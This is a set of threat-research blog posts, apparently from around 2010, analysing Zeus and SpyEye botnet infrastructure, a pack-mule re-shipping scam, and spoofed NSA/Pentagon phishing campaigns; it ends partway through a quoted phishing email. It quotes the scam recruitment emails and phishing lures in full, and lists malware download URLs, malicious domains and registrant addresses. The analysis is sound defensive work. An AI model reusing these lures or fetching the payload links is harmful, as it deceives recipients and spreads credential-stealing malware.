Posts tagged “ZeuS”

Pack Mules: The Re-Shipping Fraud & Malware Connection



Malware toolkits are designed to steal information, such as bank account data, and provide cyber criminals with vast quantities of stolen credentials. Every day, credit card numbers stolen by malware such as Zeus and SpyEye are bought and sold in the underground economy. This has given rise to the recruitment of “pack mules.”

When using stolen credit card numbers to make purchases online, criminals do not provide their own identity or location information. Instead, criminals post advertisements on job search Web sites in order to lure “pack mules” to act as intermediaries in their criminal operations. These intermediaries receive merchandise on the criminal’s behalf and re-ship it to a location under the control of the criminals. This operation is known as “re-shipping fraud” and is similar to the ways in which some criminals recruit “money mules” to open bank accounts for transferring stolen funds.

Re-shipping is tightly intertwined with malware activity. This is demonstrated by the fact that the Web sites used to recruit pack mules are hosted on the same servers that host the command-and-control servers of Zeus botnets. I have been exploring (see Clustering Zeus Command and Control Servers Part 1 and Part 2) clusters of Zeus activity in an attempt to better understand the connections among the criminals behind different functions within the botnet ecosystem. I have found that although Zeus is a popular malware toolkit that any aspiring criminal can use to setup a botnet capable of stealing credit card and banking information, there is a cluster of malicious Zeus servers which indicate that there is a “core” of Zeus operations.

In this blog post, I analyze the pack mule recruiting Web site, “Sullivan and Myers,” (sullivanmyers.com) and explore its links with Zeus botnets and the broader malware underground. This investigation indicates that these concentrations of malicious activities go beyond operating command-and-control servers and extracting banking information to other aspects of the criminal enterprise. This includes exploitation (through “exploit packs“) and the recruiting of pack and money mules.

Pack Mule Recruitment

In order to recruit pack mules, criminals setup Web sites that purport to belong to a legitimate shipping and receiving business, and post advertisements that link to the “business” on job search Web sites and forums. This can be seen in the case of Sullivan and Myers, a fake business created for the purpose of recruiting pack mules.

Sullivan and Myer’s job posting invites interested applicants to complete an online application form and submit a resume to hr@sullivanmyers.com. Sullivan and Myer’s contact information (address, phone, and fax number) is also supplied. The application form, contact information, and the company’s Web site appear to have been designed to create a sense of legitimacy. Although there are some indicators that suggest the company may be fake, such as awkward language and occasional errors (using “Myers & Sullivan” instead of “Sullivan and Myers”), the overall presentation is passable. To some applicants, the company may appear to be legitimate.

After submitting a resume, applicants are given additional information about the position. The applicants are informed that they will be receiving packages which they are to re-package and send to the company’s “consumers.” The applicants are told that they can earn up to USD3000 per month.

Human Resource hr@sullivanmyers.com

Your documents has been verified and checked; you seem to be a suitable
candidate for Junior Packing Specialists’ position and we are glad, that you are
interested in this opening.

Following, you’ll find information about Sullivan & Myers and additional details
about Junior Packing Specialist position.

Sullivan & Myers (NASDAQ: SUM) is a well known printing and typography company
that offers wide variety of printing, publishing and general advertising
services. Company is based in US with headquarters in GA, Atlanta. If you want
to find out more about Sullivan & Myers, please visit our web site
www.sullivanmyers.com

This is a part-time job with a flexible schedule. Work time is not
limited, but to be successful you need to devote at least 10hrs per week to it,
though those who work up to 20hr/week have best results in the company.

This is a part-time job and it can be rendered at home, thus all but few

communications will be handled online, because of this job requirements include
acceptable level of computer literacy and Internet access. There is no entrance
or any other hidden fee. The company covers all the fees related to this
employment.

Junior packing specialist’s job is quite simple, currently Sullivan & Myers
provide a complex package of services for a network of a well-known consumer’s
electronics company, you will be receiving scheduled packages from them. The
parcels mostly consist of electronics and consumer goods with no oversized
deliveries. You shall receive a specialized packing paper from Sullivan & Myers
or its affiliates, part of it will be a decal paper, picturing different
advertisements from our client’s partner, some might only be protective wrapping
to provide additional security to fragile goods. Junior Packing specialist’s job
is simple, you need to repack each package & parcel and make sure that
consistence of package is fully operational or/and lacking visual defects and
forward it to consumers via USPS or FED EX. You might receive up to 10 packages
per week (during your trial period) thus as we already mentioned we require at
least 10hrs to be dedicated to this job.

To the successful applicants we offer a position on a trial period (30
business days, from the first actual assignment). This is the period when you
will be trained and shall receive 24/7 online and phone support, while earning
money. The evaluation of employees on a trial period is usually at least one
week before the end of their trial period. During the trial period, the
supervisor can recommend termination. At the end of the trial period, supervisor
makes his decision.

The trial period is paid $1390 USD per month. For every successful mail/parcel
forwarded you will receive $35, also you shall receive an additional bonus of
$15 per parcel that you send at the day of delivery, for example, if you have
received a parcel at 01.05.2010 and forwarded it at the same day, you shall
receive not $35 but $50 commission. Your total income, with the current volume
of clients, will be added up to $3000 USD per month. Your base salary, after
trial period, will go up to $1900 per month, plus $45 per parcel you forward.

You may ask for additional hours after trial period, or proceed full-time.
If you are interested in this job, please reply to this e-mail and our HR
managers will send you all required paperwork.

Next, applicants are sent a contract and are then instructed to send copies of identification and proof of residency for a background check to minimize fraud. This is an important step because if, at a later point, the applicant determines that the company is not legitimate and wants to quit, the criminals behind this operation could attempt identity theft or otherwise compromise the individual.

Human Resource hr@sullivanmyers.com:

In this e-mail, you will find attached legal document specifically a labor
contract for Junior Packing Specialist position in Sullivan & Myers.

Make sure you read it carefully, familiarize yourself with all aspects of
the agreement and in case if you agree with the terms do the following:

1. Print out two (2) copies of the labor contract.
2. Sign both parts, you must sign it on the bottom of EVERY page,
plus at the end of the document.
3. Forward one part to Sullivan & Myers HR department at
hr@sullivanmyers.com or fax it to 1-(678)-866-2530
4. Keep one signed copy for yourself.

The contract becomes valid from the moment of the reception of the
correctly filled copy of the contract. It should be noted that the validity
of the contract in the electronic form is identical to the contract signed
in personal presence of both parties.

In order to minimize fraudulent activities we have implemented strong
security policy, we are running mandatory background checks for every
successful candidate. Background check includes but is not limited to,
criminal, financial or personal records that are available publicly. In VERY
rare cases, Sullivan & Myers may enforce PI. As a part of our security
policy we ask you to make an electronic copy of your ID, driving license or
any other legal document that may verify your identity (any utility bill
will do, if your domicile is mentioned there) and send it attached with the
same e-mail or fax it to 1-(678)-866-2530.

You will receive additional information when your forwarded contract will
be examined and verified by our attorneys.

*NOTE: Requires manual signature.

After receiving the signed contract, the criminals confirm the mailing address of the new “employee.” At this point, the new employee will begin receiving packages of goods bought with stolen credit card information and forwarding these goods to the criminals behind the operation. When law enforcement tracks down the operation, they will be led to the address of the pack mule rather than the masterminds behind the operation.

The Malware Connection

Locating Sullivan and Myers within the malware ecosystem exposes the criminal connections of those behind the re-shipping fraud operation. The Web site sullivanmyers.com is registered to the e-mail address migray71@yahoo.com and resolves to the IP address 194.28.112.11. Migray71@yahoo.com is linked to significant malicious activity.

The hosting history of sullivanmyers.com firmly places the domain within concentrations of malicious activity. Currently, the Web site is hosted on a server with the IP address 194.28.112.11. This server also hosts azkinternational.com (azkint@bronzemail.net), fotosharedownloads.com (hosting@haiau.tv) and fotoshare-dknc.com. Fotosharedownloads.com and fotoshare-dknc.com are Web sites that host malware, and azkinternational.com appears to be another pack mule recruiting Web site.

Sullivanmyers.com has been hosted on a number of servers that have hosted significant amounts of malicious activity in the last year. Currently, these servers are hosting domain names registered to known malicious e-mail addresses.

2010-11-06 223.25.242.61

– binmop.com – migray71@yahoo.com
– glazsystem.net – annepark@gmail.com
– nonameal.com – descartez@hotmail.com
– unknownplaces.net – mcthomas34@first-host.net

2010-09-24 27.131.32.153

– antiviruslab.info – mcthomas34@first-host.net
– bransac.com – descartez@hotmail.com
– myweb-analytics.net – migray71@yahoo.com
– organte.com – ddgrimes@earthlink.net

2010-09-13 113.11.194.158

– trackingcounter.net – trackingcounter.net@protecteddomainservices.com

2010-07-03 113.11.194.148

– baidum.net – edgar.marcha@verizon.net
– hpnet.in – socks5service@list.ru
– kiaz.org – analizsite@gmail.com
– kingolat.com – ddgrimes@earthlink.net
– mainspain.info – edgar.marcha@verizon.net
– maturesdf.com – MillieDiaz4@aol.com
– southdomens.com – southdomens@googlemail.com
– tarstall.ru – boats@qx8.ru
– topmilkyway.net – ddgrimes@earthlink.net
– truetry.org – analizsite@gmail.com
– vuvuzelya.net – edgar.marcha@verizon.net

The domain names listed above resolve to IP addresses of servers that were previously used to host sullivanmyers.com. While some of the domain names have already been linked to malicious activity, some have not. However, they are associated with e-mail addresses that have been used to register malicious domain names in the past.

Using data from MalwareDomainList and ZeusTracker, we can see the extent to which domain names registered by migray71@yahoo.com are engaged in malicious behavior and linked through co-hosting to other malicious domain names. These malicious domain names have been active throughout 2010 and have been used to host exploit packs, such as Pheonix and Eleonore; downloaders, such as Oficla/Sasfis, Fake Antivirus, the RussKill DDoS tool and multiple versions of the Zeus Trojan; and associated drop zones and command-and-control servers. This e-mail address was also used to register sosanni.com, a command-and-control server for the Ambler botnet.

The most interesting connection within this cluster links the activity of domain names registered with migray71@yahoo.com to the Ambler botnet and to a cluster of malicious Zeus activity. The domain name sosanni.com (migray71@yahoo.com – 121.101.216.205) was an Ambler command-and-control server that was operated by the same set of actors that administered a cluster of Zeus command-and-control servers registered with a variety of well- known e-mail addresses, including hilarykneber@yahoo.com, edgar.marcha@verizon.net, and MillieDiaz4@aol.com.

The hilarykneber@yahoo.com e-mail address was made infamous after Netwitness revealed the existence of a Zeus-based botnet associated with that email address that had compromised over 74,000 computers around the world. An association with the Kneber botnet indicates that those behind the operation have no shortage of stolen credit card numbers that could be used to make purchases that are re-shipped through the pack mule operation. Moreover, this cluster was found to be not only operating a Zeus botnet, but a SpyEye and the Ambler botnet as well. This indicates that the criminals are diversifying their operations using multiple forms of malware that are designed to steal credit card numbers, bank account information, and other credentials.

However, there are some limitations to this analysis. Just because domain names are hosted on the same server, it does not mean that there is necessarily a direct connection between them. There are a variety of “bullet proof” Web hosting companies that provide stable hosting to a wide variety of malicious activity. Online criminal prefer these services because the “bullet proof” hosts ensure that malicious Web sites remain online despite efforts of the security community to take them down.

Domain names registered with the same e-mail address provides a stronger link because this indicates that the domain names are under the control of one entity. However, domain names registered to the same e-mail address may not be directly linked. There are a variety of services available within the malware underground that include domain registration. For example, the domain name southdomens.com (southdomens@googlemail.com) is hosted on a server that sullivanmyers.com was formerly hosted on. The server is also associated with a service that provides domain name registration. If domain registration services register domain names for multiple clients with the same e-mail address, it provides a weak (rather than strong) link between malicious activity clustered around domain names registered with the same e-mail address. Domain names registered with the same e-mail address may be distributed by the supplier to an array of disparate criminals. So, rather than indicating a strong connection between the malicious actors using the domain names, it simply shows that disparate malicious actors sought the services of the same domain name provider.

Keeping these limitations in mind, I believe that while there are specialized roles within the malware ecosystem, there appears to be a significant portion that is quite centralized. In this case, domain names registered with the same e-mail addresses not only inhabit servers full of malicious activity, but are also associated with “pack mule” recruitment, exploit packs, and Zeus and Ambler command-and-control servers. While the exact nature of the connections between them are unclear, these concentrations indicate that a discrete set of criminals are behind an operation that goes full circle—from exploiting victims, to harvesting credentials to acquire goods which are relayed through a network of pack mules back to the criminals.

Clustering Zeus Command and Control Servers Part 2



In Part 1 of “Clustering Zeus Command and Control Servers” I focused on clustering Zeus command and control servers based on three criteria: IP addresses, domain names, and email addresses used to register domain names. Using data drawn from ZeusTracker and MalwareDomainList, I observed that while a wide variety of criminals may set up disparate Zeus operations there may be “core” set of Zeus operations clustered around domain names registered five email addresses: abuseemaildhc@gmail.com, hilarykneber@yahoo.com, steven_lucas_2000@yahoo.com, tahli@yahoo.com and michell.gregory2009@yahoo.com. Beyond the common email addresses and co-hosting on servers with the same IP addresses (which, in general are hosting a wide variety of malware) the exact nature of the relationships remains unclear.

It is clear that there are certain servers that facilitate an abundance of malicious activity. However, caution must be exercised when conclusions are drawn regarding specific (groups of) actors operating discrete segments of botnet command and control servers among a common malicious infrastructure. Malware groups are often the customers of other malware groups or work with affiliates to propagate and monetize malware. Different groups may propagate malicious domain names that belong to other groups, or different groups may propagate common malicious domains that are provided by an affiliate network. In addition, there are malicious networks that provide hosting services to malware distributors and botnet operators. Therefore, links that appear between a variety of actors may not be as solid as the technical data alone would lead one to believe.

In order to examine these relationships further, I’m going to layer some qualitative data and analysis on the Zeus data analyzed in Part 1. Based on information I obtained from some of the command and control servers listed below (this is deliberately vague), combined with common file paths and the presence of the same files on different combinations of these servers, I believe that the following command and control domain names constitute of cluster of malicious activity operated by the same set of operators:

freehost21.tw – hilarykneber@yahoo.com – 109.196.143.60
bstservice.biz – accounseller@gmail.com – 195.5.161.73
fivefingers31.org – edgar.marcha@verizon.net – 195.149.88.86
coolparts31.tw – admin@google.name – 121.101.216.205
fhjslk21.com.tw – hilarykneber@yahoo.com – 195.5.161.208
bananajuice21.net – hilarykneber@yahoo.com – 109.196.143.56
cpadm21.cn – Dalas_Illarionov@yahooo.com – 91.212.41.31
gamecp12.cn – GameNet2010TX@yahoo.com – 222.73.37.203
admcp21.cn – Maria_lucas_2000@yahoo.com – 91.212.41.31
subaruservice.cn – hilarykneber@yahoo.com – 59.125.229.79
elektronservice.net – Steven Lucas steven_lucas_2000@yahoo.com – 59.125.229.79
promo-standart.info – MillieDiaz4@aol.com – 121.101.216.205
cpadm21.org – admin@cpadm21.org – 193.104.94.81
decp31.org – hilarykneber@yahoo.com – 119.255.23.209
coolparts31.org – skeletor71@comcast.net – 61.4.82.216
sosanni.com – migray71@yahoo.com – 121.101.216.205

This post will explore the relationships between these domains and other malicious activity, primarily Zeus activity, undertaken by other domain names registered with the same email addresses in order to explore the theory that there is a “core” of Zeus activity. While the malicious activity primarily relates to Zeus there are some significant exceptions. The domain name sosanni.com was used as a command and control server for the Ambler botnet. For the period I observed the Ambler activity, over 5000 IP addresses from compromised computers, 99% of which were from Russia, checked in with the command and control server. In addition, I found that coolparts31.tw was acting as a SpyEye command and control server in addition to a Zeus command and control server.

This screenshot shows the relationship between the command and control domain names, the malicious activity associated with them and the IP address that the domain name resolves to. While there are several instances in which some domain names were co-hosted on the same server, nearly half were not. This makes sense as operators will seek to diversify their hosting in order to avoid a complete shutdown should one of their command and control servers be taken down or blocked. In fact, look at the time span, covering October 2009 to September 2010 we can see how the operators moved their operations from one server to the next.

This operators of this malware cluster tend to host their command and control servers in Eastern Europe and China.

In order to assess this clusters possible linkages within the broader malware ecosystem, the data set was expanded to include a) other domain names registered with the same email addresses and b) the IP addresses of the servers associated with the malicious activity imported from ZeusTracker and MalwareDomainList. This extends the geographic scope of the hosting servers into North America, as well as the previous locations in Eastern Europe (UA, RU, CZ, MD) and South East Asia (CN, TW).

Looking at the relationships between the domains we see that there are two interesting clusters, and arguable a few smaller ones as well. These represent concentrations of servers registered with the same email addresses. The two main clusters are domain names registered to: steven_lucas_2000@yahoo.com and hilarykneber@yahoo.com.

An interesting fact about the “Lucas” cluster becomes apparent when you look at the time line of malicious activity (the date when the domain name was added to ZeusTracker or MalwareDomainList). The Lucas cluster is primarily active January – November 2009 (although there is some subsequent activity) while very few domains registered with other email addresses are active.

This is followed by the introduction of the “Kneber” domains which begin on the tail end of the Lucas cluster’s activity. The Kneber domain names begin in November 2009 and continue into October 2010. While the domain names registered with the remaining email addresses do also roughly follow a similar pattern of beginning while the previous one tails off, Kneber remains fairly constant once it begins.

In Part 1, I showed that there are clusters of Zeus activity that around a set of email addresses used to register domain names. Using qualitative data from my investigations, I’ve found a Zeus cluster that uses domain names registered by some, but not all, of these key email addresses including steven_lucas_2000@yahoo.com and hilarykneber@yahoo.com. This cluster has transitioned through domain names registered by a variety of email addresses over the last year. When the data set is expanded to include all the domain names registered by these email addresses in ZeusTracker and MalwareDomainList we see the same pattern of transition play out. This supports the theory that while Zeus is a toolkit that allows anyone to create a botnet, there is a “core” of Zeus activity.

However, this cluster of 16 domain names is only a small portion of the “core” Zeus activity associated with five key email addresses. According to DomainTools, about 1839 domain names in total:

abuseemaildhcp@gmail.com is associated with about 717 domains
hilarykneber@yahoo.com is associated with about 449 domains
steven_lucas_2000@yahoo.com is associated with about 110 domains
tahli@yahoo.com is associated with about 263 domains
michell.gregory2009@yahoo.com is associated with about 300 domains

These email addresses have been used to registered a variety of domain names associated with all manner of malicious activity, not exclusively Zeus activity. While this could be part of a centralized effort to distribute command and control servers to be operated by sub-groups, I am not sure that it is best to attribute all the malicious activity across these domains to the same set of actors. Even if these domain names represent the efforts of the same set of actors, they appear to be distributed to smaller groups of operators. These operators don’t necessarily have connections with others managing domain names hosted on the same infrastructure and/or registered with the same email addresses.

However, this simple clustering method does provide us with concentrations of malicious activity that should be investigated further. The introduction of qualitative data provides the ability to probe the operations of specific groups further. In the future I’d like to acquire a list of all 1800 domain names and layer on historical hosting data to see if any further patterns emerge.

Malware Diversification



There are wide varieties of malware, many of which have similar functionality. As a result there is a tendency to portray them as being in competition with on another. In some ways this is true, especially when it comes to malware authors, however, I prefer to see it as less of a rivalry and more of an opportunity for diversification on the part of the botnet operators. Recently there have been some articles that suggest that Zeus may be “dethroned” (“New threat set to dethrone Zeus“, “Online criminals are moving on from Zeus“) thanks to Bugat and Carberp.

Well, despite the recent arrests of over 150 individuals associated with Zeus-related bank fraud and the decline in the number of active Zeus command and control servers Zeus is still “going strong” and demonstrating its resilience.

However, this is not a property of the malware, but of the wide base of criminals that use it. While there may be a core of Zeus activity, anyone can use the Zeus toolkit to setup his or her own botnet. An additional factor to include is the fact that criminals make use of multiple malware kits, even rival malware kits.

The relationship between SpyEye (see two great SpyEye posts here and here) and ZeuS has been described as a rivalry — largely based on SpyEye’s ability to remove ZeuS from compromised computers — but botnet operators make use of both.

Here are two command and control server domain names that have hosted both Zeus and SpyEye. The domain coolparts31.tw was a known Zeus (see MDL) command and control, but I found that it was also hosting SpyEye. More recently, I have been monitoring mir-krossover.com that was a known Zeus command and control (see MDL) but is also hosting SpyEye.

http://mir-krossover.com/mirspy/mainadmin/bin/bd.exe

b911f40ff9573f33e73055b2267a5cd7 bd.exe
VT: 36/ 43 (83.7%)

http://mir-krossover.com/mirspy/mainadmin/bin/id.exe

e8091d2099a8472b27a62c5ae57be5e9 id.exe
VT: 37/ 43 (86.0%)

Malware diversification allows the botnet operators to run multiple botnets, increasing their resilience to countermeasures aimed at taking down one particular strain. In addition, they can capitalize on new features and functionality available across various toolkits. To counter such operations we need to look beyond the toolkit and and investigate the operators as well.

Clustering Zeus Command and Control Servers



Recently, more than 150 individuals around the world have been arrested on bank fraud related charges after using the Zeus malware to acquire credentials that enabled the criminals to steal more than $70 million dollars. Those arrested include five Ukrainian individuals that are believed to be the masterminds behind the operation. Brian Krebs notes that there is a correlation between the decreasing number of active Zeus command and control servers and the timing of the arrests.

This is interesting because while “the media” often portrays Zeus as “a botnet” the security community rightly points out that Zeus is a malware toolkit not “a” botnet and that there are multiple Zeus botnets. However, what explains the decrease in Zeus command and control servers with the disruption of just one Zeus operation? While it is certainly true that any aspiring criminal can acquire Zeus and begin his or her own operation, is there a Zeus “core” that is organized and connected through links the criminal underground? Having just returned from Palantir’s Govcon feeling inspired I imported Zeus data from the MalwareDomainList and the ZeusTracker to explore the links between Zeus command and control servers.

While there are definitely more indicators, I focused on three: IP addresses, domain names, and email addresses used to register domain names. The IP addresses represent the servers that are used to host command and control servers. One such server may host multiple command and control servers allowing one to cluster malicious domain names that are hosted on the same server. Domain names are useful indicators but essential have a one-to-one relationship so it is more valuable to cluster them by the email address used to register the domain name. Using these indicators the Zeus command and control domain names can be clustered based on co-hosting (on the same IP address) and mutual registration (same email address). This may provide some indication if there is a “core” or Zeus activity.

However, there are significant limitations to bear in mind. Malicious hosting services are available in the criminal underground, so while a single server may be a hotspot of malware activity, it may not be directly related. On the other hand, some command and control servers may be using fast flux which would negate clustering by IP address altogether. Some command and control servers are based on IP addresses only and do not have domain names associated with them. On the other hand, a single domain name may be used for a variety of purposes. (For example, I have found a domain name that hosts both a Zeus and a SpyEye command and control server, despite the reported rivalry between them). In addition, the botnet operators may register a variety of domain names from a variety of email addresses. In such cases, clustering by email addresses would not yield significant links. Finally, there may be suppliers of domain names in them malware underground that register domain names with email addresses under their control, but sell the domains names to other criminals. In such cases, while the email address may be the same, the operators of botnets may not be directly related.

The data set used contains 5,907 domain names (control servers) and 4,505 IP addresses (servers) drawn from ZeusTracker and MalwareDomainList (where the activity on MDL contains “zeus”). Here, 4,505 IP addresses have been geocoded (not all were successfully geocoded) and displayed using Palantir’s heatmap. While there is Zeus activity hosted all over the world, there are noticeable concentrations in Europe, the Unites States and China.

This cluster on the Palantir graph represents the relationship between 5,907 domain names (control servers) and 4,505 IP addresses (servers). This initial display highlights a few interesting indicators. There are several clusters that are visually apparent which show multiple domain names hosted on one server (there are three prominent “star” clusters and several smaller ones) and there is a discernible “tree” structure in the center indicating relationships between single domain names that have been hosted on multiple IP addresses. And we can see thaht there are some familiar IP addresses used to register multiple domain names, the most notable being “hilarykneber@yahoo.com” which is the email addresses behind the Kneber botnet.

Zooming in to some of the clusters reveals some interesting behaviors. In this example, one server is hosting 60 domain names. These 60 domain names were registered with 17 different email addresses. And when some additional information from MDL is brought in, we see that most of the domains are hosting a Zeus executable with the same name “patch.exe” and that there is a naming convention. For example, “1-adm.com/patch.exe” was registered with “obeys@infotorrent.ru” while “1-adm.net/patch.exe” was registered with “yam@ml3.ru”. These domain names were all added to MDL around the same time and despite the multiple email addresses it does appear as if this is a single campaign.

In order to explore the question of whether or not there is a Zeus “core” of some sort, I filtered the domain names and IP addresses to those registered with the top five appearing email addresses (with the exception of contact@privacyprotect.org which is the email address given for those who have used this domain privacy service). Domain names registered with these five email addresses account for 6.09% (360/5907) of the Zeus command and control servers. However, this number increases to 17.9% (360/2004) when the number of control servers is restricted to those that contain email data. In addition to several “star” clusters as well a “tree” in the middle of the graph, we see that these email addresses have been actively propagating Zeus for approximately one year. (The time is derived from when the domain is added to either the MDL or ZeusTracker lists, which is used a rough indicator of when a domain became active).

When the selection is restricted to only those domain names registered by “hilarykneber@yahoo.com” we can see that these domains are represented across most of the clusters indicating that many of these domain are co-hosted on the same IP addresses with those registered by our other top email addresses. In addition, the “kneber” domain names are active through this year long period of data.

While a wide variety of criminals may set up disparate Zeus operations, clustering the Zeus command and control infrastructure in this way indicates that there is some evidence to support claims of a “core” set of Zeus operations. This may be one explanation for the observed decrease in active Zeus command and control servers.

However, this data only reflects only the relationships between IP addresses, domain names and the email addresses used to register the domain names. There are a variety of additional factors, especially those related to analysis of Zeus malware binaries that may support these linkages, provide additional linkages or challenge these linkages. Historical data showing coordinated movements to new IP addresses and name servers would provide additional means to cluster command and control servers with a higher degree of accuracy.

In Part 2 of this post I will broaden the analysis in order to see if the tentative conclusion hold with the introduction of additional data.

Crime or Espionage? Part 2



In “Crime or Espionage Part 1” I examined a series of attacks that appear to be aimed at those interested in intelligence issues and those in the government and military. The malware used in these attacks was ZeuS and there are common command and control elements used in the attacks beginning in December 2009 and continuing until late August 2010. In addition, these attacks have been linked to infrastructure used by the Kneber botnet, a ZeuS-based botnet discovered by Netwitness.

This post is an overview of a collection of publicly available emails associated with these ongoing series of attacks. These are the socially engineered emails designed to lure potential victims into clicking on and executing the attackers’ malicious code. While the attacks are not targeted down to the individual, or even institutional level, and appear to have been sent to a wide variety of targets, the content of the emails is geared towards those interested in intelligence, military and security issues.

The malicious emails appear to have been sent from email addresses associated with the following domain names: nsa.gov, greylogic.us, pentagon.af.mil, fbi.gov, dia.mil, dhs.gov, stratcom.mil and ifc.nato.int. With the exception of Jeff Carr’s Grey Logic, the emails appear to come from government and military sources. The subject lines and the text of the emails largely focus on security issues with some messages making use of classification markings such as “U//FOUO” and official looking email footers in order to appear to be legitimate.

The links in to the malicious files contained within the emails make use of a variety of hosts. The attackers will often include a link to the file sharing services rapidshare.com, sendspace.com and depositfiles.com. The attackers also use compromised legitimate websites, many of which are running the Joomla! CMS. However, at other times the attackers have used domain names registered specifically for malicious purposes:

dnicenter.com – abuseemaildhcp@gmail.com
dhsorg.org – hilarykneber@yahoo.com

The email addresses abuseemaildhcp@gmail.com and hilarykneber@yahoo.com are well known and have been used to register numerous domain names associated with malware, mostly ZeuS.

The “hilarykneber@yahoo.com” email address was made famous by discovery of the Kneber botnet by Netwitness. Netwitness revealed that many of the compromised computers in the US included government networks as well as Fortune 500 enterprises. This is not entirely surprising as any large botnet is likely to have compromised some government computers. But, the recognition of this fact may be the catalyst for the series of attacks using intelligence, military and security themes as lure. Not all compromised computers are of the same value, surely the attackers realize this. In “Conversations With a Blackhat” RSnake outlines this scenario:

There are already other types of bad guys who do things like spam, steal credentials and DDoS. For that to work they need a botnet with thousands or millions of machines. The chances of a million machine botnet having compromised at least one machine within a target of interest is relatively high.

So let’s say I’m badguy1 who wants to break into one or more companies of interest. Sure, I could work for days or weeks and maybe get into one or both of them, but at the risk of tipping my hand to the companies and there’s always a chance I’ll fail entirely. Or I could work with badguy2 who has a botnet. I could simply give a list of IPs, domains or email addresses of known targets to the bot herder and say that instead of paying a few cents to rent some arbitrary machine for a day, I’ll pay thousands of dollars to get a bot within the company I’m actually interested in.

A variation of this is a scenario in which the botmaster grows the botnet but through means that increase the chances of compromising a target of interest that “badguy1″ wants to compromise. By using intelligence, military and security issues and themes in the lure emails, perhaps the attackers are aiming to increase the likelihood of compromising a sensitive location. In such a scenario, the botmaster is happy to get some new bots connecting in with the Zeus command and control server (from which credentials and other information can be extracted) and can also sell any sensitive data that’s been stolen or sell access to any sensitive compromised computer.

The emails below are a collection of publicly available emails associated with a series of ongoing of attacks using Zeus.

December 9, 2009
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://contagiodump.blogspot.com/2009/12/creative-nsa-spoof-attack-of-day.html

From: ecu@nsa.gov
Date: December 9, 2009 4:33:51 PM GMT+05:00
Subject: CYBER-PMESII COMMANDER’S ANALYSIS OF FORECAST EFFECTS

AFRL-RI-RS-TR-2009-136
Final Technical Report
December 2009

CYBER-PMESII COMMANDER’S ANALYSIS OF FORECAST EFFECTS (CYBERCAFE)

INFORMATION SUBJECT TO EXPORT CONTROL LAWS

WARNING – This document contains technical data whose export is restricted by the Arms Export Control Act (Title 22, U.S.C., Sec 2751 et seq.) or the Export Administration Act of 1979, as amended (Title 50, U.S.C. App. 2401, et seq.). Violations of these export laws are subject to severe criminal penalties. Disseminate IAW DoDD 5230.25.

DESTRUCTION NOTICE – For classified documents, follow the procedures in DOD 5220.22-M, National Industrial Security Manual (NISPOM), section 5-705 or DOD 5200.1-R, Information Security Program, Chapter VI. For unclassified limited documents, destroy by any method that will prevent disclosure of contents or reconstruction of the document.

Export of the attached information (which includes, in some circumstances, release to foreign nationals within the United States) without first obtaining approval or license from the Department of State for items controlled by the International Traffic in ArmsRegulation (ITAR), or the Department of Commerce for items controlled by the Export Administration Regulation (EAR), may constitute a violation of law.

Download:

http://www.zeropaid.com/bbs/includes/CYBERCAFE.zip

or

http://rapidshare.com/files/318309046/CYBERCAFE.zip.html

http://www.sendspace.com/file/fmbt01

December 14, 2009
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://groups.yahoo.co.jp/group/boxing-fun/message/20326?threaded=1&viscount=14&expand=1

From: uctd@nsa.gov
Date: December 14, 2009 1:56:24 PM GMT+05:00
Subject: Information Systems Security Reminder

Information Systems Security Reminder

— Users are reminded to be aware and vigilant when using government information services both inside and outside protected environments.

— Be aware of your surroundings when accessing these services remotely, and prefer trusted workstations. Evaluate the security risks inherent with use of public workstations, including “shoulder surfing” by nearby persons.

— When communicating via email, know with whom you are communicating. Common adversary techniques include social engineering, email phishing, and evocative attachments. Government system capabilities may only be discussed with authorized personnel.

— If you make an error (e.g., data spill), report it so that the problem can be addressed. Report any anomalies you observe to your security office or service desk.

Security Software:

http://hkcaregroup.com/modlogan/MILSOFT.zip

or

http://rapidshare.com/files/320369638/MILSOFT.zip.html

http://fcpra.org/downloads/MILSOFT.zip

February 10, 2010
Source: http://www.nartv.org/2010/03/01/the-kneber-botnet-spear-phishing-attacks-and-crimeware/

From: jeffreyc@greylogic.us
Date: Wednesday, February 10, 2010 7:34 AM
Subject: Russian spear phishing attack against .mil and .gov employees

Russian spear phishing attack against .mil and .gov employees

A “relatively large” number of U.S. government and military employees are being taken in by a spear phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to be from the NSA or InteLink concerning a report by the National Intelligence Council named the “2020 Project”. It’s purpose is to collect passwords and obtain remote access to the infected hosts.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft(r) Windows(r) and gain complete control over it. You can help protect your
computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://fcpra.org/downloads/winupdate.zip

or

http://www.sendspace.com/file/tj373l

___________
Jeffrey Carr is the CEO of GreyLogic, the Founder and Principal
Investigator of Project Grey Goose, and the author of “Inside Cyber Warfare”.
jeffreyc@greylogic.us

February 11, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://osdir.com/ml/general/2010-02/msg12517.html

From: jeffreyc@nsa.gov
Date: February 11, 2010 9:39:15 AM GMT+05:00
Subject: RE: Zeus Attack Spoofs NSA, Targets .gov and .mil

Zeus Attack Spoofs NSA, Targets .gov and .mil

Criminals are spamming the Zeus banking Trojan in a convincing e-mail that spoofs the National Security Agency. Initial reports indicate that a large number of government systems may have been compromised by the attack.

According one state government security expert who received multiple copies of the message, the e-mail campaign — apparently designed to steal passwords from infected systems — was sent exclusively to government (.gov) and military (.mil) e-mail addresses.

The messages are spoofed so that they appear to have been sent by the National Intelligence Council (address used was nic@nsa.gov), which serves as the center for midterm and long-range strategic thinking for the U.S. intelligence community and reports to the office of the Director of National Intelligence.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft® Windows® and gain complete control over it. You can help protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://mv.net.md/update/update.zip

or

http://www.sendspace.com/file/7jmxtq

February 12, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/dod-roles-and-missions-in-homeland-security

From: apacs@pentagon.af.mil
Date: 12 Feb 2010 20:41:01 (GMT)
Subject: DoD Roles and Missions in Homeland Security

Defense Science Board

DoD Roles and Missions in Homeland Security

VOLUME II – A: SUPPORTING REPORTS

